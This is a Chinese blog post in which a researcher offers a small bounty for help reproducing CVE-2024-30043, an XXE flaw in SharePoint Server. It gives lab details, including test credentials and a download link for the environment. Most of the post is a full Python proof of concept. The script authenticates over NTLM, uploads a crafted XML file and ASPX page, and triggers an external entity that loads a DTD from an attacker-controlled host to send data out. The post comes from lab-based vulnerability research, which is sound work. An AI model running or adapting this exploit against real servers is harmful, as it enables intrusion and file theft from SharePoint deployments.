【悬赏问答】复现疑问求解答:Microsoft Sharepoint XXE(CVE-2024-30043)

【悬赏问答】复现疑问求解答:Microsoft Sharepoint XXE(CVE-2024-30043)

原创 W01fh4cker 追梦信安 2024-06-03 23:51

最近这两天我在复现Microsoft Sharepoint XXE(CVE-2024-30043)漏洞的过程中遇到了一些问题,反复调试研究无果,折磨了很长时间,现在决定在我公众号发出悬赏,解决成功的直接后台私信我你的微信,赏金也不高,暂定一个月的疯狂星期四吧。

主要参考文章为:

https://www.zerodayinitiative.com/blog/2024/5/29/cve-2024-30043-abusing-url-parsing-confusion-to-exploit-xxe-on-sharepoint-server-and-cloud

漏洞复现环境如下:
– Microsoft Sharepoint Server 2019,详细大版本为16.0.10337,域名sp2019.cve.lab;

  • Sqlserver 2019 + SSMS,域名sqlserver.cve.lab;

  • DC,域名dc.cve.lab。

所有都是基于cn_windows_server_2016_x64_dvd_9327743.iso进行搭建,虚拟机版本为VMware® Workstation 17 Pro(17.5.0 build-22583795)。

一共有两个账号,分别是CVE\Administrator,密码1qaz@WSX!@#456;另一个是CVE\test,密码为空。

环境下载地址如下(没有会员的师傅可以淘宝购买临时1天共享账号):

链接: https://pan.baidu.com/s/1LF7GmE8ujNEXnMw2Bi8Q_A 提取码: 5grq

具体遇到的问题如下:

按照zdi的博客中所给出的payload( file://localhost\c$/sites/mysite/test.xml)打过去之后,无法获得值为false的m_Unrestricted属性,导致后续利用失败;后来调试发现,该payload和http://sp2019//sites/mysite/test.xml所获取到的zone都是internet,导致Permissionset为限制较大的NamePermissionset。

相关截图如下:

官方油管视频利用成功截图:

我编写的可能的poc脚本,用于上传xml和aspx到站点根目录下并访问aspx触发xxe:

import os
import random
import string
import requests
from requests_ntlm import HttpNtlmAuth

def GenerateRandomString(length):
    characters = string.ascii_letters + string.digits
    return "".join(random.choices(characters, k=length))

def GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath):
    evil_xml_content = f"""<?xml version="1.0" ?>\n<!DOCTYPE a [\n<!ELEMENT a ANY >\n<!ENTITY % remote SYSTEM "{evil_dtd}">%remote;\n%int;\n%send;\n]>\n<a>wat</a>"""
    evil_aspx_content = f"""<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><%@ Page Language="C#" %><%@ Register tagprefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %><html dir="ltr" xmlns="http://www.w3.org/1999/xhtml"><head runat="server"><meta name="WebPartPageExpansion" content="full" />    <title>{variable_name}</title>    <meta http-equiv="X-UA-Compatible" content="IE=10" />    <SharePoint:CssRegistration Name="default" runat="server"/></head><body>    <form id="form{variable_name}" runat="server">        <SharePoint:SPXmlDataSource ID="XmlDataSource{variable_name}" runat="server" DataFile="file://localhost\\c${sitepath}/{variable_name}.xml" />        <asp:GridView ID="GridView{variable_name}" runat="server" DataSourceID="XmlDataSource{variable_name}" AutoGenerateColumns="true" />    </form></body></html>"""
    with open(f"{variable_name}.xml", "w", encoding="utf-8", newline="") as evil_xml:
        evil_xml.write(evil_xml_content)
        evil_xml.close()
    with open(f"{variable_name}.aspx", "w", encoding="utf-8", newline="") as evil_aspx:
        evil_aspx.write(evil_aspx_content)
        evil_aspx.close()

def GetAuthSesion(username, password):
    session = requests.Session()
    session.auth = HttpNtlmAuth(username, password)
    return session

def GetSiteID(url, sitepath, proxy, session):
    response = session.get(f"{url}/{sitepath}/_api/web", headers={'accept': 'application/json;odata=verbose'}, proxies=proxy)
    if response.status_code == 200:
        data = response.json()
        site_id = data['d']['Id']
        print(f'Site ID: {site_id}')
    else:
        print(f'Error: {response.status_code}')
        print(response.text)

def UploadFilesToWebRoot(url, sitepath, proxy, filepath, session):
    file_name = os.path.basename(filepath)
    upload_url = f"{url}{sitepath}/_api/web/GetFolderByServerRelativeUrl('{sitepath}')/Files/add(url='{file_name}',overwrite=true)"
    token_response = session.post(f"{url}{sitepath}/_api/contextinfo", headers={"Accept": "application/json;odata=verbose"}, proxies=proxy)
    if token_response.status_code != 200:
        print(token_response.text)
    token = token_response.json()["d"]["GetContextWebInformation"]["FormDigestValue"]
    with open(filepath, "rb") as file:
        file_content = file.read()
        file.close()
    headers = {
        "Accept": "application/json;odata=verbose",
        "Content-Type": "application/octet-stream",
        "X-RequestDigest": token
    }
    response = session.post(upload_url, headers=headers, data=file_content, proxies=proxy)
    if response.status_code == 200:
        print(f"{url}{sitepath}/{file_name}")
    else:
        print(response.status_code)
        print(response.text)

def TriggerRce(url, sitepath, proxy, filename):
    resp = requests.get(f"{url}{sitepath}/{filename}", proxies=proxy)


if __name__ == "__main__":
    url = "http://sp2019/".strip("/")
    sitepath = "/sites/cvetest"
    # proxy = {
    #     "http": "127.0.0.1:8083",
    #     "https": "127.0.0.1:8083"
    # }
    proxy = None
    evil_dtd = "http://192.168.198.133/dtd.xml"
    username = "CVE\\Administrator"
    password = "1qaz@WSX!@#456"
    session = GetAuthSesion(username, password)
    variable_name = GenerateRandomString(8)
    GetSiteID(url, sitepath, proxy, session)
    GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath)
    UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.xml", session)
    UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.aspx", session)
    TriggerRce(url, sitepath, proxy, f"{variable_name}.aspx")